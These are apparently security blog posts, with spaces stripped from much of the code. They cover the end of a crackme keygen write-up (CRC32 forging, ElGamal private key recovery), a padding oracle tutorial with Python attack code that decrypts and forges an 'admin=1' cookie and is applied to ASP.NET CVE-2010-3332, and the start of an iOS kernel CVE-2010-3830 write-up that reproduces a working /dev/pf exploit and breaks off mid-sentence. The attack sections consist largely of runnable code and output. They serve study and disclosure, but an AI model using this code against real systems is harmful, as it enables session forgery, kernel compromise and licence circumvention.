defbuild_crc_tables():foriinrange(256):fwd=irev=i<<24forjinrange(8,0,-1):# build normal tableif(fwd&1)==1:fwd=(fwd>>1)^0xedb88320else:fwd>>=1crc32_table[i]=fwd# build reverse table =)ifrev&0x80000000==0x80000000:rev=((rev^0xedb88320)<<1)|1else:rev<<=1crc32_reverse[i]=revdefcrc32forge3(wanted_crc):''' return a 8 chars string whose crc32 is equal to wanted_crc '''charset='2WQKHTL3VJBYG6PZCM9AXF0UED5RS7N8'start_value=0x45534554^0xffffffff# ESETwhile1:# generate random string of 4 charss=''.join(charset[random.randint(0,31)]foriinrange(4))crc=start_valueforiinrange(4):crc=(crc>>8)^crc32_table[(crc^ord(s[i]))&0xff]s+=pack('<L',crc)crc=wanted_crc^0xffffffffforiinrange(7,3,-1):crc=(crc<<8)^crc32_reverse[crc>>24]^ord(s[i])crc&=0xffffffffs2=s[:4]+pack('<L',crc)# check if added bytes are in the charset# else same player play againvalid=Trueforiinrange(4):ifcharset.find(chr((crc>>(8*i))&0xff))==-1:valid=Falsecontinueifvalid==True:returns2crc32forge3(x65599_hash)# for example

Finding the first part of the serial is quite immediate.

A strange decimal conversion

The second part of the serial is 20 chars long. It is converted to a 64 bit integer n in the sub_4012DC function. This function is a bit tricky. Basically, it does a decimal string to integer conversion: each time a byte is read, n is multiplied by 10, the serial byte is converted to an integer between 0 and 9, and added to n.

How are the chars converted to a decimal value? This is the difficulty of this part. Input chars are checked like this:

.movzxeax,byteptr[esi]; esi points to the input stringincesitesteax,eaxjzshortend_functionxorebx,ebxxoredx,edxsubeax,32h; eax -= 0x32jbshortend_functiontesteax,0E0hjnzshortend_functionmovedx,1Fh; 5 bits set to 1movecx,4loop1_start:; CODE XREF: sub_4012DC+3Dcmpeax,edxjzshortloop1_endbtcedx,ecx; test and complementincebxdececxjnsshortloop1_startloop1_end:; CODE XREF: sub_4012DC+36jzshortloop2_endmovecx,4loop2_start:; CODE XREF: sub_4012DC+4Fcmpeax,edxjzshortloop2_endbtcedx,ecx; test and complementincebxdececxjnsshortloop2_startloop2_end:; CODE XREF: sub_4012DC:loop1_end; sub_4012DC+48jnzshortend_function

0x32 is subtracted to each char. Resulting value must be different from 0. Then, two loops are executed. They iterate reading the 5 lower bits of each char. Each loop exits when the read bit is different from the previous one. Once the two loops have been executed, the 5 bits have to be read. That means that to be valid, a char must be composed of

  • a sequence of 1 followed by a sequence of 0,
  • or a sequence of 0 followed by a sequence of 1.

Only 10 5-bit values validate this condition: 11111, 01111, 00111, 00011, 00001, 10000, 11000, 11100, 11110. Adding 0x32 to each of these values, we obtain the 10 bytes charset: 'Q', 'A', '9', '5', '3', '2', 'B', 'J', 'N' and 'P'.The value between 0 and 9 is contained, after the two loops, in the ebx register. It means that it is equal to the number of iterations the two loops have been executed while reading the byte.

To sum up, we know that sub_4012DC converts a string encoded in a 10 bytes custom charset into a 64 bit integer. In order to write a key generator, the inverse function has to be coded. It takes a number as input, and generates the corresponding encoded string. Here is the code:

defdecimal_encode(n):charset='QA9532BJNP'# btc stuffs=''foriinrange(20):s=charset[n%10]+sn/=10returns

ElGamal signature

The last part of the crackme is about a ElGamal signature verification. ElGamal signatures are composed of two numbers (r, s).

Retrieving message and signature

The first part of the serial, whose generation is explained above, is hashed with MD5. A 16 byte digest is obtained. It is used to generate a 64 bit integer. This integer is the r in the ElGamal signature. The function that converts the digest to a 64 bit integer is the following one:

sub_4012C2procnear; CODE XREF: sub_4014C3+C6; sub_4014C3+DBarg_0=dwordptr4pushesimovesi,[esp+4+arg_0]moveax,[esi]movedx,[esi+4]xoreax,[esi+8]xoredx,[esi+0Ch]andedx,7FFFFFFFhpopesiretn4sub_4012C2endp

Basically it casts the digest into an array of unsigned integers ll, and computes `` & 0x7fffffffffffffff``.

s is the second part of the serial after its conversion to a number using explained above.

The user name is hashed with MD5. The resulting hash is converted to a 64 bit integer with sub_4012C2. Let's call this number h.

Finding group parameters

ElGamal security relies on the discrete logarithm problem. To make it short, it consists in finding x such as g^x = y mod p, given g, y and p.g, y and p are public parameters.

The signature is checked in sub_40121A. This function calls two big integers functions, powmod64 (sub_4011B0) which is a basic square-and-multiply modular exponentiation, and mulmod64 (sub_401178). Before being able to generate valid signatures, public parameters have to be identified.

The group generator is easy to spot: it is present in the signature verification function.

.text:00401237movdwordptr[edx],3; generator.text:0040123Dmovdwordptr[edx+4],0.text:00401244pushesi; h.text:00401245pushedx.text:00401246pusheax; result.text:00401247callpowmod64; compute g^h mod p

So g = 3. y is also easy to identify: its value is 0x5353453233444f4e (\"NOD32ESS\").

p is not a parameter of the powmod64 function, which is a bit confusing. It is actually hardcoded inside this function, more precisely in the mod64 function (sub_40110B):

.text:0040113Epush0FFFFFFFFh.text:00401140push0FFFEA007h.text:00401145pushedx.text:00401146pusheax.text:00401147callRtlLargeIntegerSubtract

Hence p = 0xFFFFFFFFFFFEA007, which is prime.

Generating signatures

All the parameters have been found, we can now generate a signature. First, the private key has to be found: it is x such as g^x = y mod p.

The order of the generator g=3 is p-1, which is a smooth number:

p-1=2*3*3*5*7*11*13*3797*42701*1262887

Hence the private key can be efficiently computed using the Pohlig-Hellman algorithm. I included a version of the algorithm in the keygen source code. It is inspired from the Handbook of Applied Cryptography.

x is quickly found: x = 0x62dd00828bb0e577L

Now we have all the necessary information to generate valid signatures. Wikipedia gives us the formula:

p=0xfffffffffffea007Lg=3y=0x5353453233444f4eLx=0x62dd00828bb0e577Lh=...k=...# random_value such as gcd(k, p-1) == 1r=pow(g,k,p)s=((h-x*r)%(p-1))s=s*number.inverse(k,p-1)%(p-1)

And the crackme is solved. Almost.

A last problem

The code just above generates r and s values that sign the message h. The problem is different here: remind that r comes from the MD5 of the first part of the serial. It cannot be chosen randomly, and must be considered as a fixed value...

r = pow(g, k, p) is fixed. What is rather annoying is that k, normally chosen at random, is necessary to compute s. How to retrieve k from r? Solving another discrete logarithm problem is necessary...

r depends on the hash of the first part of the serial. This part depends on the hash of the user name. Hence, for each user name, a discrete logarithm has to be solved to generate a valid signature.

Finally, once k has been found, one has to check that it is co-prime with p-1, else k has no inverse mod p-1, and s cannot be computed.

Once all theses steps have been understood, it is time to code a key generator. Source code is attached. The more interesting parts in this source are the CRC32 reversing function, and the runtime DLP solver, which uses Pohlig-Hellman and Pollard's Rho algorithm to compute rather efficiently the logarithms, even if it is written in Python.

I thank the ESET team for this nice crackme. Hiding such tricks in a so small piece of code is tremendous =)

Padding Oracle attack and its applications on ASP.NET

$
0
0

ASP.NET is a group of Web development technologies created by Microsoft, which offers developers an easy way to create dynamic web sites, web applications, or XML web services. To use it, a compatible web server is needed (like Microsoft IIS for example). ASP.NET is part of Microsoft.NET platform and represents an evolution of ASP. ASP.NET uses cryptography in order to encrypt sensitive data. This way, it is hidden and protected against attacks and unwanted modifications. In mid-September, a vulnerability on ASP.NET was reported. It corresponds to CVE-2010-3332. It reveals that ASP.NET is vulnerable to a "padding oracle" attack. In this article, we will describe this type of attack, show why it is possible on ASP.NET, and how to resolve it.

The padding oracle cryptographic attack

Definitions

PKCS7 Padding

Padding is an important notion in cryptography. The cryptographic primitives of block ciphers proceed on fixed size bytes blocks. If the size of the text to encrypt is not a multiple of the block size used by the cryptographic primitive in question, then we need to fill the last block with padding bytes. There are many standards for padding, each one with its own rules for the byte values. As per the PKCS7 standard (RFC 3852, section 6.3), the value of every padding byte is the total length of the padding. Figure 1.1 illustrates this rule. padding_en.png

Figure 1.1: PKCS7 padding

In the first case, 3 bytes are missing in the plain text to form a complete block. So we have to add 3 padding bytes which will have 0x3 as value. In the second example, the first block is filled, and therefore does not contain padding. On the other hand, 5 bytes are missing in the second block, therefore we need 5 padding bytes with the 0x5 value. In the case of a 8 byte single block, or a 8 byte final block, the standard specify that we need to add another block full of padding, therefore with 0x8 value. It is important to remember that our article only deals with symmetric ciphering primitives, with 8 bytes blocks, and using the PKCS7 padding.

The oracle

An "oracle" is a black box system which can solve a decision problem in one operation. We send it a question and it answers it. In our case, a padding oracle is a mechanism which, when we submit a cipher text, will return a response that tells us whether the padding is correct with respect to the PKCS7 standard. In this article, we will simulate the attack presented by Vaudenay in his paper.

CBC mode

We will attack a ciphering system using the "Cipher Block Chaining" (CBC) mode to encrypt and decrypt data. We will first briefly explain how the CBC mode works. Figure 1.2 shows how the mode works. Schema_cbc_en.png

Figure 1.2: CBC mode (source: Wikipedia)

As shown in figure 1.3, the encryption of a plain text occurs after a "exclusive or" (XOR) between this text and a 8 bytes vector. This vector is called the initialization vector (IV). It is chosen by the user or generated randomly. For the following blocks, the vector used is the ciphertext of the previous block: IV(block n) = cipher(block n-1). chiffrement_cbc_en.png

Figure 1.3: encryption in CBC mode

Decryption is illustrated in figure 1.4. It is symmetric, each block goes first in the cryptographic system, and then goes through a XOR with an 8 bytes vector. This vector is obtained in the same way as the encryption. dechiffrement_cbc_en.png

Figure 1.4: decryption in CBC mode

Simulation of the attack

We remind you that this attack is possible only on a block symmetric ciphering using PKCS7 padding.

Decryption

In order to ease the writing and understanding of this article, we have coded with Python a program that simulates the oracle in a class, and implements the attack in an other class. We start by forging a cipher text giving a plain text to the program:

C:\> python pyPaddOracle.py -cText to encrypt: admin=1Padded text: 61646d696e3d3101Ciphered value (IV + Ciphered text): 1712180527255516b97097596694c420

This is coded quite quickly with Pycrypto:

classMyPaddingOracleServer:key='iloveyouihateyou'iv='1712180527255516'.decode('hex')defpkcs7(self,text,length):if((len(text)%8)==0):amount=8else:amount=length-len(text)%lengthpattern=chr(amount)pad=pattern*amountreturntext+paddefencrypt(self,plain):cipher=DES3.new(self.key,DES3.MODE_CBC,self.iv)paddedPlainText=self.pkcs7(plain,DES3.block_size)cipheredText=cipher.encrypt(paddedPlainText)print"Padded text: "+paddedPlainText.encode('hex')print"Ciphered value (IV + Ciphered text): "+self.iv.encode('hex')+cipheredText.encode('hex')
verbose=0if(len(sys.argv)<2):usage()if((len(sys.argv)>2)and(sys.argv[2]=="-v")):verbose=1if(sys.argv[1]=="-c"):plainText=raw_input("Text to encrypt: ")oracle=MyPaddingOracleServer()oracle.encrypt(plainText)elif(sys.argv[1]=="-d"):cypher=raw_input("Value to decrypt (IV + Ciphered text): ")oracle=MyPaddingOracleServer()print"Decrypted value: "+oracle.decrypt(cypher)else:usage()
C:\>python pyPaddOracle.py -cText to encrypt: hello!Padded text: 68656c6c6f202101Ciphered value (IV + ciphertext): 1712180527255516c818194b4aa8dc91C:\>python pyPaddOracle.py -dValue to decrypt (IV + ciphertext): 1712180527255516c818194b4aa8dc91Decrypted value: 68656c6c6f202101C:\>python pyPaddOracle.py -dValue to decrypt (IV + ciphertext): 0000000000000000c818194b4aa8dc91Traceback (most recent call last):  File "pyPaddOracle.py", line 152, in <module>    print "Decrypted value: " + oracle.decrypt(cypher)  File "pyPaddOracle.py", line 34, in decrypt    raise Exception("Error: bad padding!")Exception: Error: bad padding!

Here is the code of the functions to decrypt and verify the padding. The oracle is easily identifiable.

class MyPaddingOracleServer:  key = 'iloveyouihateyou'  iv = '1712180527255516'.decode('hex')  def is_pkcs7_padding_valid(self,block):    c = block[-1]    return block[-ord(c):] == ord(c) * c  def decrypt(self,ciphered):    ciphered = ciphered.decode('hex')    self.iv = ciphered[0:DES3.block_size]    cipher = DES3.new(self.key,DES3.MODE_CBC,self.iv)    uncipher = cipher.decrypt(ciphered[DES3.block_size:])    if not self.is_pkcs7_padding_valid(uncipher):      raise Exception("Error: bad padding!")    else:      return uncipher.encode('hex')

When the padding is bad, a "bad padding" exception error is raised, and this constitutes the padding oracle. We will put ourselves in the shoes of an attacker which does not know the key used for the encryption. He just knows that the cryptographic system is an 8 bytes CBC block ciphering and that the blocks are padded with PKCS7, and will only use the padding oracle. He intercepts a cookie containing a ciphered message that he wants to decrypt: 1712180527255516ff7ac1e450628bcc. In order to succeed, he uses this class in Python to simulate the attack:

classVeryBadHacker:currentBlock='\x00\x00\x00\x00\x00\x00\x00\x00'IVoriginal='\x00\x00\x00\x00\x00\x00\x00\x00'intVal='\x00\x00\x00\x00\x00\x00\x00\x00'iv='\x00\x00\x00\x00\x00\x00\x00\x00'oracle=MyPaddingOracleServer()verbose=0

The attack takes placeblock here:

classVeryBadHacker:defuncipherValue(self,value):uncipheredValue=""nbBlock=len(value)/(DES3.block_size)-1nCurrentBlock=1if(self.verbose):print'Number of blocks: '+str(nbBlock)self.IVoriginal=value[0:DES3.block_size]self.currentBlock=value[DES3.block_size*nCurrentBlock:DES3.block_size*(nCurrentBlock+1)]while(nCurrentBlock<=nbBlock):uncipheredValue+=self.uncipherBlock(self.currentBlock)nCurrentBlock=nCurrentBlock+1self.IVoriginal=self.currentBlockself.currentBlock=value[DES3.block_size*nCurrentBlock:DES3.block_size*(nCurrentBlock+1)]return"Deciphered value: "+uncipheredValue

At first, the attacker begins by recovering the original IV and the ciphered text. Then, he decrypts each block, not forgetting that in each new block, the new IV is the last ciphered block. Here is the heart of the attack, the decryption of a block by exploiting the padding oracle:

classVeryBadHacker:defuncipherBlock(self,block):if(self.verbose):print"Ciphered block: "+block.encode('hex')print"Original IV: "+self.IVoriginal.encode('hex')currentByte=0x8goodPaddingValue=0x1while(currentByte>0):if(self.verbose):print"Deciphering byte "+str(currentByte)print"Good padding value: "+str(goodPaddingValue)format="%0"+str(2*currentByte)+"x"+self.iv[2*currentByte:2*DES3.block_size]# bruteforce the IV until good padding response from the oracleforself.ivin[format%iforiinxrange(0,0xFF+1)]:try:self.oracle.decrypt(self.iv+block.encode('hex'))exceptException:continueelse:break;if(self.verbose):print"IV found to generate valid padding value: "+self.iv# we know the plain text thanks to the valid padding responsevectPadd=("%02x"%(goodPaddingValue))*goodPaddingValue# we can calculate the intermediate valuesself.intVal="%016x"%(int(self.iv,16)^int(vectPadd,16))if(self.verbose):print"Intermediates Values vector: "+self.intValprint'Deciphering byte '+str(currentByte)+' done!'# prepare data for next bytecurrentByte=currentByte-1goodPaddingValue=goodPaddingValue+1vectPadd=("%02x"%(goodPaddingValue))*(goodPaddingValue-1)# we calculate last byte of bruteforced IVself.iv="%016x"%(int(self.intVal,16)^(int(vectPadd,16)))if(self.verbose):print"New IV for next round: "+self.ivprint"\n"# all block deciphered - XORing intVal with the original IV to find the plain textunciphered="%016x"%((int(self.IVoriginal.encode('hex'),16))^(int(self.intVal,16)))if(self.verbose):print"Intermediate values found for this block: "+self.intValreturnunciphered

For each block, we have to find the IV generating a correct padding. It is the work of the while loop which put all values from 0x00 to 0xFF in a byte of the IV.We start with the last byte: its value is correct whenever the generated plain text byte is 0x1, and that is exactly what the oracle can tell us. Once we know the last byte of the IV, we can find the previous one, knowing that the oracle will reveal us when the plain text is 0x2 for the last 2 bytes. Once this IV is found, we just have to progressively recover to the plain bytes for the following blocks by following the CBC mode decryption. By XORing the byte found for this IV with the good padding value, we retrieve the good intermediate value. And finally, by XORing this intermediate value with the original IV (we know it because it transmitted with the cipher) we recover the plain value. For clarity purposes, we detailed the results for bytes 8 and 7 in the following tables. IV* represents the IV which will be brute forced, and the plain text* is the out plain text with a valid padding.

Decryption of the 8th byte

Our brute force stops when IV*(8) = 0x16

octet8_en.png

Once the 8th byte is decrypted, we can pass to the 7th.

Decryption of the 7th byte

For it, we must keep in mind that the good value for all bytes of the padding changes, now it is 0x2. Therefore we have to fix the 8th byte of the new IV* so that the plain text gives 0x2 (this way we only brute force the 7th byte). That is possible because we have previously found the 8th byte of the intermediate values vector. By XORing it with 0x2 we find the correct value for the 8th byte of the IV*, and now we only need to proceed in the same way to decrypt the 7th byte.

octet7_en.png

Our brute force finds value 0x66 for the 7th byte of the IV*, that allows us to decrypt the cipher 7th byte. By iterating these operations on every byte, our program retrieves the whole plain text.

...elif(sys.argv[1]=="-u"):ivan=VeryBadHacker(verbose)cipheredValue=raw_input("Value to decrypt: ")printivan.uncipherValue(cipheredValue.decode('hex'))elif(sys.argv[1]=="-x"):ivan=VeryBadHacker(verbose)plain=raw_input("Text to encrypt: ")cipher=raw_input("Valid ciphered value: ")printivan.cipherPlainText(plain,cipher.decode('hex'))else:usage()
C:\>python pyPaddOracle.py -u -vValue to decrypt: 1712180527255516ff7ac1e450628bccNumber of blocks: 1Ciphered block: ff7ac1e450628bccOriginal IV: 1712180527255516Deciphering byte 8Good padding value: 1IV found to generate valid padding value: 0000000000000016Intermediates Values vector: 0000000000000017Deciphering byte 8 done!New IV for next round: 0000000000000015Deciphering byte 7Good padding value: 2IV found to generate valid padding value: 0000000000006715Intermediates Values vector: 0000000000006517Deciphering byte 7 done!New IV for next round: 0000000000006614Deciphering byte 6Good padding value: 3IV found to generate valid padding value: 00000000001b6614Intermediates Values vector: 0000000000186517Deciphering byte 6 done!New IV for next round: 00000000001c6113Deciphering byte 5Good padding value: 4IV found to generate valid padding value: 000000004d1c6113Intermediates Values vector: 0000000049186517Deciphering byte 5 done!New IV for next round: 000000004c1d6012Deciphering byte 4Good padding value: 5IV found to generate valid padding value: 000000694c1d6012Intermediates Values vector: 0000006c49186517Deciphering byte 4 done!New IV for next round: 0000006a4f1e6311Deciphering byte 3Good padding value: 6IV found to generate valid padding value: 0000736a4f1e6311Intermediates Values vector: 0000756c49186517Deciphering byte 3 done!New IV for next round: 0000726b4e1f6210Deciphering byte 2Good padding value: 7IV found to generate valid padding value: 0071726b4e1f6210Intermediates Values vector: 0076756c49186517Deciphering byte 2 done!New IV for next round: 007e7d6441106d1fDeciphering byte 1Good padding value: 8IV found to generate valid padding value: 7e7e7d6441106d1fIntermediates Values vector: 7676756c49186517Deciphering byte 1 done!New IV for next round: 7f7f7c6540116c1eIntermediate values found for this block: 7676756c49186517Deciphered value: 61646d696e3d3001

The cookie is decrypted! The value of the cookie is: ""admin=0" Since he is not administrator of the site, the attacker can assume that this value would be 1 for an admin. He wants to encrypt a new cookie with value "admin=1". But he has no idea of the encryption key used by the server. We will see that he can however use the oracle to correctly encrypt any message.

Encryption

Our decryption technique allows us, in addition to recovering the plain text, to put our hands on the intermediate values vector. And if we observe the decryption schema of CBC, we see that the discovery of this vector is sufficient to cipher any plain text without knowing the key, because we control the IV too. Here is the code in Python of the function which allows us to correctly encrypt a plain text. We just need a valid cipher in order to retrieve the IV and the first intermediate values.

classVeryBadHacker:defcipherPlainText(self,plain,cipher):IVoriginal=cipher[0:DES3.block_size]plain=self.oracle.pkcs7(plain,DES3.block_size)nbBlock=len(plain)/(DES3.block_size)blocks=[plain[DES3.block_size*i:DES3.block_size*i+DES3.block_size]foriinrange(len(plain)/DES3.block_size)]res=cipher[DES3.block_size:2*DES3.block_size]# actual cipher = iv + first block encryptedactualCipher=cipher[0:2*DES3.block_size]while(nbBlock>0):# we decrypt the cipher to recuperate the intermediate valuesself.uncipherValue(actualCipher)# we calculate the iv necessary for the plain text blocknewIV="%016x"%(int(self.intVal,16)^int(blocks[nbBlock-1].encode('hex'),16))if(self.verbose):print'Actual cipher: '+actualCipher.encode('hex')print'IV found for this cipher: '+newIVres=newIV.decode('hex')+res# now the cipher becomes iv original + last iv foundactualCipher=IVoriginal+newIV.decode('hex')nbBlock=nbBlock-1return"Ciphered value for \""+plain+"\" is "+res.encode('hex')

The function begins by retrieving the valid ciphered block and the IV used for this block encryption. Then it recovers the intermediate values vector by decrypting this cipher with the attack by padding oracle. Next, we calculate the IV necessary for the plain data block to encrypt (by beginning with the last block). To find this IV, we just need to XOR the intermediate values vector with the plain block. These operations are repeated for the following block, with the valid cipher block becoming the original IV accompanied by the new IV that we just found. And the process will run on until it reaches the plain text first block. Here is the (light) output of our function on a 2 blocks plain text:

C:\>python pyPaddOracle.py -x -vText to encrypt: Hello World!Valid ciphered value: 1712180527255516ff7ac1e450628bccCiphered block: ff7ac1e450628bccOriginal IV: 1712180527255516Actual cipher: 1712180527255516ff7ac1e450628bccIV found for this cipher: 041a114c681b6614Ciphered block: 041a114c681b6614Original IV: 1712180527255516Actual cipher: 1712180527255516041a114c681b6614IV found for this cipher: 72eb88a38ca96879Ciphered value for "Hello World!???" is 72eb88a38ca96879041a114c681b6614ff7ac1e450628bcc

The program starts by finding the good IV to obtain "rld!\\x03\\x03\\x03" from the intermediate values found thanks to the valid cipher passed in parameter 1712180527255516ff7ac1e450628bcc. This new IV becomes the new valid cipher: 041a114c681b6614. The program now looks for the good IV to obtain "Hello Wo" from the intermediate values found thanks to the valid cipher found previously: 1712180527255516041a114c681b6614. Once this IV is found, and since we were at the first plain text block, our algorithm is finished. We verify our cipher using the decryption function of our server:

C:\>python pyPaddOracle.py -dValue to decrypt (IV + Ciphered text): 72eb88a38ca96879041a114c681b6614ff7ac1e450628bcc50628bccValue decrypted: 48656c6c6f20576f726c642021030303C:\>pythonPython 2.6 (r26:66721, Oct  2 2008, 11:35:03) [MSC v.1500 32 bit (Intel)] on win32Type "help", "copyright", "credits" or "license" for more information.>>> "48656c6c6f20576f726c642021030303".decode('hex')'Hello World!\x03\x03\x03'

That works flawlessly! Our attacker can now forge his own cookie in order to get the administrator role on the vulnerable web site!

C:\>python pyPaddOracle.py -xText to encrypt: admin=1Valid ciphered value: 1712180527255516ff7ac1e450628bccCiphered value for "admin=1?" is: 1712180527255416ff7ac1e450628bcc

By changing his cookie from a ciphered value to "1712180527255416ff7ac1e450628bcc", he becomes administrator on the website.

ASP.NET vulnerable to padding oracle attacks

The vulnerability: the padding oracle

If we rely on the Juliano Rizzo and Thai Duong conference, on the CVE out a little later, and on the other many blog posts, ASP.NET is vulnerable to padding oracle attacks. As we have seen in the first part of this article, it means that an oracle informing us on the accuracy of the padding is present, and that the padding scheme used is PKCS7. We will verify that information with the tool Reflector which allows us to browse the source code of .NET libraries. After a quick research on the key word "padding", we retrieve the method which returns a very clear exception on the invalidity of the padding received.

oracle_asp.png

Still with Reflector, we quickly realize that this function is used by every Web functions of .NET using cryptography. Indeed, ASP.NET offers applications developers the possibility to cipher their sensitive data (cookie, form fields, VIEWSTATE, and so on). It is therefore all .NET security models that are impacted by this vulnerability. It is for instance the case for the method

FormsAuthentication.Decrypt(String)

from the namespace

System.Web.Security

which is the heart of ASP.NET security. We will recover the code of this method with the Reflector tool.To decrypt the string in the parameter, it uses the method

MachineKeySection.EncryptOrDecryptData(false,buf,null,0,buf.Length,IVType.Random);

which uses the method

FlushFinalBlock();

for its last block (the block which interest us, because it is a padded block). This function then uses

RijndaelManagedTransform.TransformFinalBlock(byte[]inputBuffer,intinputOffset,intinputCount);

still for this last block. Finally, we find within the code of this method our famous function

DecryptData(inputBuffer,inputOffset,inputCount,refbuffer2,0,this.m_paddingValue,true);

which is vulnerable to attacks by padding oracle, and forwards this oracle information to the end user.

Possible applications

From CVE and the different posts on Internet, it would be possible to:

  • decrypt/encrypt sensible data (cookies, VIEWSTATE, and so on)
  • download the web.config of the application

We will summarise these different processes and explain for each them, why they are possible.

The Decryption/encryption of sensible data

This is a basic simulation of an attack by padding oracle as seen in a previous part. Thanks to the oracle, an attacker who intercepts a cookie or another type of encrypted data (other than the VIEWSTATE which is a special case that we will explain later) can decrypt it, modify it at will and re-encrypt it properly in order to hedge the vulnerable Web server.

The Downloading of web.config

When looking at an ASP.NET page, we can frequently see this type of code:

...
<scriptsrc="/WebResource.axd?d=qFJFyuhQM8t4fs_ZevAowA2&amp;t=634190010246548951"type="text/javascript"></script>
...

The JavaScript file and its path are hidden, and can only be accessible by using WebResource.axd. The value of the parameter "d" is encoded in a modified version of base64 by .NET. It seems that this value can be encrypted, and therefore may be the path and the name of the file. WebResource.axd is indeed a HTTP handler. When the ASP.NET server receives a request for this file, it uses the AssemblyResourceLoader HTTP handler located in the System.WebHandlers namespace. Reading the code of this handler, and specially that of the

ProcessRequest(HttpContextcontext)

method, we recover a call to the function

DecryptString(str)

which is as previously seen vulnerable to padding oracle attacks. An attacker would be able to decrypt parameter values of WebResource.axd, and change the name of the requested file by substituting it to web.config. Once the value is well encrypted and injected in the URL, he will obtain the file. It is quite important to note that there is moreover a brute force to be performed on the first block, because we do not control the IV. To get more information on this attack, you can read this great article.

VIEWSTATE case

In the CVE, we read that it is also possible with attack the padding attack to decrypt, modify, and crypt the VIEWSTATE (a real tote bag for ASP.NET developers). But the VIEWSTATE is protected by a MAC which prevents from modifying its value as we would do with a cookie or another type of data. To successfully decrypt the VIEWSTATE, we need the key used for the MAC, key that is located in the web.config file. And , as just seen,we are able to get it! ;)

Conclusion

Although quite simple, padding oracle attacks can be very effective and destructive. ASP.NET has made the cost because their security model is based on the possibility for developers to easily encrypt their data and the VIEWSTATE. Our tool was not developed in order to simulate the attack on real environment. For this, we should code ways to recognize the padding oracle program with the observation of the return code of the Web page, the observation of eventual error messages on the page, or the difference between display times when there is a padding error or not. PadBuster, a quite effective software for identifying and exploiting padding oracles in any web application is available on the Internet.

CVE-2010-3830 - iOS < 4.2.1 packet filter local kernel vulnerability

$
0
0

This post will describe a recent iPhone kernel vulnerability discovered by comex and used in the limera1n and Greenpois0n jailbreaking tools. Both tools exploit a BootROM vulnerability found by geohot to get initial code execution on the device, and comex's kernel exploit is then used to make the jailbreak untethered, i.e to persist after a reboot. This kernel vulnerability was patched with the release of iOS 4.2.1 on November 22.

The goal of jailbreaking tools is to patch the iPhone operating system kernel in order to circumvent the code signing checks and thus being able to run any application. On older devices (iPhone 3g and below) it is possible to break the entire chain of trust and modify the kernel binary stored on flash memory. On newer devices (not vulnerable to the Pwnage or 24kpwn exploits) this is no longer possible, or at least there is no public bootchain-breaking exploit. Thus, one has to find another way to keep the jailbroken state (patched kernel) when the device is shut down or rebooted.

The userland jailbreak technique introduced by comex with the Spirit jailbreak earlier this year leaves the kernel image untouched and exploits a kernel vulnerability at every boot. The kernel exploit code is run as root in the context of the first userland process (launchd), using what was dubbed as the "Incomplete Codesign exploit". The idea is that since the iOS code signing mechanism only applies on code segments, it is possible to use (or abuse) some features of the Mach-O file format and the dynamic loader (dyld) to kickstart a ROP payload without ever having to codesign anything. This part of the jailbreak won't be covered here but probably in a next blogpost. Hence, the following exploit discussion assumes root code execution has already been achieved.

The CVE-2010-3830 kernel vulnerability is located in the BSD pf packet filter of the xnu kernel, and can be triggered from userland through the /dev/pf special file. The following exploit code was pushed on comex's github on September 30 :

intmain(){unsignedinttarget_addr=CONFIG_TARGET_ADDR;unsignedinttarget_addr_real=target_addr&~1;unsignedinttarget_pagebase=target_addr&~0xfff;unsignedintnum_decs=(CONFIG_SYSENT_PATCH_ORIG-target_addr)>>24;assert(MAP_FAILED!=mmap((void*)target_pagebase,0x2000,PROT_READ|PROT_WRITE,MAP_ANON|MAP_PRIVATE|MAP_FIXED,-1,0));unsignedshort*p=(void*)target_addr_real;if(target_addr_real&2)*p++=0x46c0;// nop*p++=0x4b00;// ldr r3, [pc]*p++=0x4718;// bx r3*((unsignedint*)p)=(unsignedint)&ok_go;assert(!mprotect((void*)target_pagebase,0x2000,PROT_READ|PROT_EXEC));// Yes, reopening is necessarypffd=open("/dev/pf",O_RDWR);ioctl(pffd,DIOCSTOP);assert(!ioctl(pffd,DIOCSTART));unsignedintsysent_patch=CONFIG_SYSENT_PATCH;while(num_decs--)pwn(sysent_patch+3);assert(!ioctl(pffd,DIOCSTOP));close(pffd);assert(!mlock((void*)((unsignedint)(&ok_go)&~0xfff),0x1000));assert(!mlock((void*)((unsignedint)(&flush)&~0xfff),0x1000));assert(!mlock((void*)target_pagebase,0x2000));#ifdef DEBUGprintf("ok\n");fflush(stdout);#endifsyscall(0);#ifdef DEBUGprintf("we're out\n");fflush(stdout);#endif//...}//...staticvoidpwn(unsignedintaddr){structpfioc_transtrans;structpfioc_trans_etrans_e;structpfioc_pooladdrpp;structpfioc_rulepr;memset(&trans,0,sizeof(trans));memset(&trans_e,0,sizeof(trans_e));memset(&pr,0,sizeof(pr));trans.size=1;trans.esize=sizeof(trans_e);trans.array=&trans_e;trans_e.rs_num=PF_RULESET_FILTER;memset(trans_e.anchor,0,MAXPATHLEN);assert(!ioctl(pffd,DIOCXBEGIN,&trans));u_int32_tticket=trans_e.ticket;assert(!ioctl(pffd,DIOCBEGINADDRS,&pp));u_int32_tpool_ticket=pp.ticket;pr.action=PF_PASS;pr.nr=0;pr.ticket=ticket;pr.pool_ticket=pool_ticket;memset(pr.anchor,0,MAXPATHLEN);memset(pr.anchor_call,0,MAXPATHLEN);pr.rule.return_icmp=0;pr.rule.action=PF_PASS;pr.rule.af=AF_INET;pr.rule.proto=IPPROTO_TCP;pr.rule.rt=0;pr.rule.rpool.proxy_port[0]=htons(1);pr.rule.rpool.proxy_port[1]=htons(1);pr.rule.src.addr.type=PF_ADDR_ADDRMASK;pr.rule.dst.addr.type=PF_ADDR_ADDRMASK;//offsetof(struct pfr_ktable, pfrkt_refcnt[PFR_REFCNT_RULE]) = 0x4a4pr.rule.overload_tbl=(void*)(addr-0x4a4);errno=0;assert(!ioctl(pffd,DIOCADDRULE,&pr));assert(!ioctl(pffd,DIOCXCOMMIT,&trans));pr.action=PF_CHANGE_REMOVE;assert(!ioctl(pffd,DIOCCHANGERULE,&pr));}

The vulnerability is located in the DIOCADDRULEioctl handler, due to improper initialization of the overload_tbl field, which can be later exploited in the DIOCCHANGERULE handler. The following code snippet shows the relevant parts of those handlers :

